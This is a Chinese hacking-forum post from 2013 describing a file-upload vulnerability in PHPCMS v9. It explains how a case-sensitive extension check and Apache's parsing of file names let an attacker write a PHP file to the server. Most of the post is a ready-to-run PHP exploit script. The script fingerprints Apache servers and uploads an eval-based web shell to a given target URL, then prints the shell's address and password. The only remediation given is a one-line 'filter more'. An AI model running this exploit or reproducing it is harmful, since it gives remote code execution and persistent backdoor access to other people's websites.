找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2190|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行+ U, X$ [+ ]3 B! ]3 b! |1 q: o0 X; ~

( J: i  m" P* Y9 y; |7 i5 R简要描述:
' l9 t6 Z: d+ O! X- a3 W7 S. B8 x. W& C" M
phpcms v9 getshell (apache)
+ G1 G6 L! p" O" A4 S: D3 ?' G. W详细说明:
; T. Q: B0 \" w; S4 b
' Q7 i; M4 y" n漏洞文件:phpcms\modules\attachment\attachments.php
- g+ z$ ]) D/ X4 q/ \% L
. h  w( f* r- x# D  j, j1 Bpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
  ]9 u# t+ k- T; A- Y后缀检测:phpcms\modules\attachment\functions\global.func.php; |# d& P. m: H9 m( [  R, {

8 I6 c3 X  h2 A* c& `. M, s8 {
' H7 {- u$ ^' f1 q6 u0 f4 R9 M$ |1 j' ?) J9 t
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
2 K' s- [9 {7 T- s% G
3 T5 r- `% m  W3 d关键函数:
3 A7 E& F" N" b0 G" {' L& j+ D, q! t7 W8 I0 P, C7 A& ?
* ^$ ?3 ]. f6 T2 Z) w' p

2 g  r/ x. Z; v  f  Y3 j3 @function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  1 _7 ^5 r! \" F- k+ r8 D

! P) X4 n( _" I. M9 X& G4 g  Fileext函数是对文件后缀名的提取。
( L5 \7 @' F; R1 }1 L根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php, a% B7 v' u0 Y( ?
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。: j0 y6 W/ a/ F
我们回到public function crop_upload() 函数中
' }( @3 S2 o. j# N4 p# hif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();1 a3 }3 }1 J3 g% B4 M
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
! Z' @: ~* Z3 v$ A这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
6 o, T% l2 o* m# T经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
+ G' F4 w, D5 r  x6 Z% [3 F  i* b! Y最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
# H4 f% ^8 h/ e6 v看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。1 p7 n- u( `+ Q' Q+ Q( o
漏洞证明:( A" q. }. m7 h9 u7 e8 D4 L, D8 ]

6 }5 O' B3 D" p/ y7 w  K& Fexp:$ a  e" X% m$ l; H+ e
, ~; \  W7 b6 C* ?* D% }; S
<?php% {- F0 b( e  ]4 R0 E. U: F
error_reporting(E_ERROR);+ k# H- U2 E9 F0 Q6 y
set_time_limit(0);  X+ A+ F9 N3 E6 @4 t
$pass="ln";6 b7 N  O8 d3 S( @% V( @0 |; {
print_r('% q) q+ K# W! C: K$ E
+---------------------------------------------------------------------------+( U, k# d9 ?$ W  O; L9 C9 a4 L
PHPCms V9 GETSHELL 0DAY
1 O8 y+ q5 B1 h  Q2 W. o$ I/ |* icode by L.N.
# u' L7 {/ P5 \: Y! N
% l) b+ Y, j( n! h, [' dapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
# t3 p5 X% v' P6 i+---------------------------------------------------------------------------+' C5 S- K- _) E$ T' Q
');+ P- v4 M' r, l# O9 E. m4 T3 Y
if ($argc < 2) {8 _5 _+ g, n# Q. C9 m: [" ^
print_r('
1 l6 N$ C% S# @$ R+---------------------------------------------------------------------------+
) G* P* b- J) K  c" \Usage: php '.$argv[0].' url path9 ?4 {3 s; b/ J% {4 p) U

) j. {+ k* O/ z2 n: `Example:
$ `; Q9 u" e1 [5 o1 |1.php '.$argv[0].' lanu.sinaapp.com
; I8 C  v0 A: e+ d2.php '.$argv[0].' lanu.sinaapp.com /phpcms
3 x. ^$ {# P$ B$ h( r% a1 H. Z+---------------------------------------------------------------------------+
$ F/ `% |+ Z1 T');' d' f- j0 I' I3 o, \/ P) T/ p
exit;
1 x/ Z) ^! I& [- M2 S4 l$ c/ P}
" j+ i+ ?6 A* O' }& L3 C% c  w: q4 {7 w6 E% D1 j; v- M0 k
$url = $argv[1];- U: M  Y# {# M9 C- t: ~+ x& E
$path = $argv[2];% b+ p9 @0 O2 u- J7 S& O* B5 j
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';- e. g) b5 N9 }% Z
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';  w8 o0 ?& d" q
if($ret=Create_dir($url,$path)), Z" }6 y2 K+ @# ?) n! g8 s" N* ~
{
* P$ ~' G7 p! Q* O- ]//echo $ret;
: |( T- c! I+ k8 V$pattern = "|Server:[^,]+?|U";
$ |- ^6 [  o7 H. X4 H7 W. S1 epreg_match_all($pattern, $ret, $matches);5 ~; T( g  }+ i
if($matches[0][0])
- a; E  W7 b3 z6 o  z{. d1 ]5 U3 p; z# p5 w% k# e  m
if(strpos($matches[0][0],'Apache') == false)1 ?, i  d7 A) R0 L* c
{% F1 Z8 O; N( ]; s
echo "\n亲!此网站不是apache的网站。\n";exit;" R4 I4 [0 w# }5 B1 t
}
0 l' M+ B( v. y. x: f}
; t# X8 V- s2 r! \+ b4 P3 Q$ret = GetShell($url,$phpshell,$path,$file);
; M, |" j1 I9 [- @% x$pattern = "|http:\/\/[^,]+?\.,?|U";
& ^: n5 |; f8 G/ K; zpreg_match_all($pattern, $ret, $matches);
9 h# v1 y( u* zif($matches[0][0])
3 R" E5 l! B% j{
5 D0 O* [& \' b6 f  |& s' iecho "\n".'密码为: '.$pass."\n";
3 Z$ B, X3 _2 g4 K! uecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) L( Q1 I8 [- M0 ^1 K5 A}
. K' p4 r2 I# B3 Y3 x, r- l/ ^else: B$ M( ^- ?* s4 R; Q
{; E6 D9 ]7 u$ ?2 @
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";4 U1 A0 |8 f1 H! w
preg_match_all($pattern, $ret, $matches);
2 T* Z; ~& Z$ M8 N7 b( Rif($matches[0][0]); ~0 y& Y: ]  M6 ]5 J0 C* _0 G
{. N" d) G) l+ j+ }4 [! g( k
echo "\n".'密码为: '.$pass."\n";: K* h. g" [" K7 x! U
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
* F( i' r3 I: C0 `+ ]' k6 m' D; {! S}
! Y) m- h! w0 {7 {3 a% l  uelse
5 v2 H: w" \+ m$ P' N2 d{1 y: S$ W, r5 c) g/ t2 a: J; Y% \
echo "\r\n没得到!\n";exit;
) |6 p3 U$ S4 R  V}
) `% H  a, j9 |2 C2 K& Z1 p}
( U8 N, ~% G) a* x7 E9 Q}
$ A9 f( n6 U' U: @  M; P; ]
) }9 q" e1 Z" M3 A+ }7 t! B. Q( qfunction GetShell($url,$shell,$path,$js)5 p& `$ X5 U8 z) [
{
  a; Q+ {$ W; ~  ?& d$ o8 h$content =$shell;
! ~/ b5 @; p5 P+ U$ a; U6 J* M% D$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";  z9 a, N! V+ ~  \/ e* o( ^
$data .= "Host: ".$url."\r\n";
3 n. k) f% @3 `- Y* }7 K) @$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";/ U, h! I# F; V
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";: u6 x' a% f. @) T
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
+ x# `3 K2 g, u# @$data .= "Connection: close\r\n";- |1 Q1 ~/ \5 @8 P, d6 O
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
/ e' g4 X3 B" O, ]2 N- K# x$data .= $content."\r\n";& I4 C+ t0 O" d( l1 w7 q
$ock=fsockopen($url,80);
5 g4 S1 _& V. `* l+ ?% Tif (!$ock)
9 b3 _  s9 t& {# O0 U  N- B{3 n9 R! q8 [% F, S* F
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% s! @; G3 t- n' t; r: U! V( f}, Z5 Z% M6 |% p
else" u! j, B, H* U% N7 ~& o
{
# i( r7 g& ?- X& nfwrite($ock,$data);8 w2 h/ `/ Z. Q- Y6 A% _( T! N
$resp = '';7 S$ {/ t' X% ]" R7 b
while (!feof($ock))1 p* v, A2 q4 |8 d4 h6 M  M
{/ r0 i- e) Q0 D* p
$resp.=fread($ock, 1024);
5 H1 T0 }8 E0 W7 A# k2 g}4 c  u. [/ k2 J0 L
return $resp;
1 u' s. Q' T. J, W}% F* p$ d0 \0 a/ ]
}
  V* q+ y% @' T6 `) S2 Z( K1 k3 @: V! \. S
function Create_dir($url,$path='')4 @  Q6 W6 @! C) Y
{
# E, Q: r, P1 v# J7 r9 X1 n$content ='I love you';
- q& h8 |7 j2 y. |+ ]  P$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" i/ {' X& l4 r  ~7 o$data .= "Host: ".$url."\r\n";
$ r$ s& Q6 J4 f" P$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
. E0 a, n+ f7 U2 s; {$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
% v+ z% N" \- R9 O$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";& u% M6 t+ |7 N3 f
$data .= "Connection: close\r\n";
% Y/ k( ^( X, `% O/ w" S4 c$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
* w7 n  f- \% D5 }! B. A+ W' R$data .= $content."\r\n";
+ Q" G) M) w8 L: c9 ?$ock=fsockopen($url,80);  q6 H+ i) D9 L3 K* X0 M- ]* U* v
if (!$ock)
4 Y. ~: A) `) v/ Z{( A! g' e% @$ v  m
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;8 S: h# b3 \( L& t  R+ u& D$ {
}0 Y6 l2 T' c5 \( M3 ^& U
fwrite($ock,$data);
' N/ z! ^9 T/ z$resp = '';
/ s. A+ ]# ]4 Z# x; u$ z# Mwhile (!feof($ock))6 {7 q) O4 I+ g7 h" Z2 ~
{. T. x- y2 U0 t. F" k0 A- Y! V
$resp.=fread($ock, 1024);. }# X! u% o  a6 i! c7 q
}
6 b2 M, o5 ]: @6 d$ r' Dreturn $resp;& C$ S( Q# X8 ^
}6 T! C: ~9 A0 j$ \+ N$ W+ t2 l
?>
( m9 w9 C5 C: M+ m( s
6 y2 E$ u. e8 s3 B修复方案:
  }; U6 S2 L5 H+ e1 R
" V5 z9 _  b6 \& E. Y  d过滤过滤再过滤
" c! z" H) `8 n  R" R2 |
8 g  M% A6 {" S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表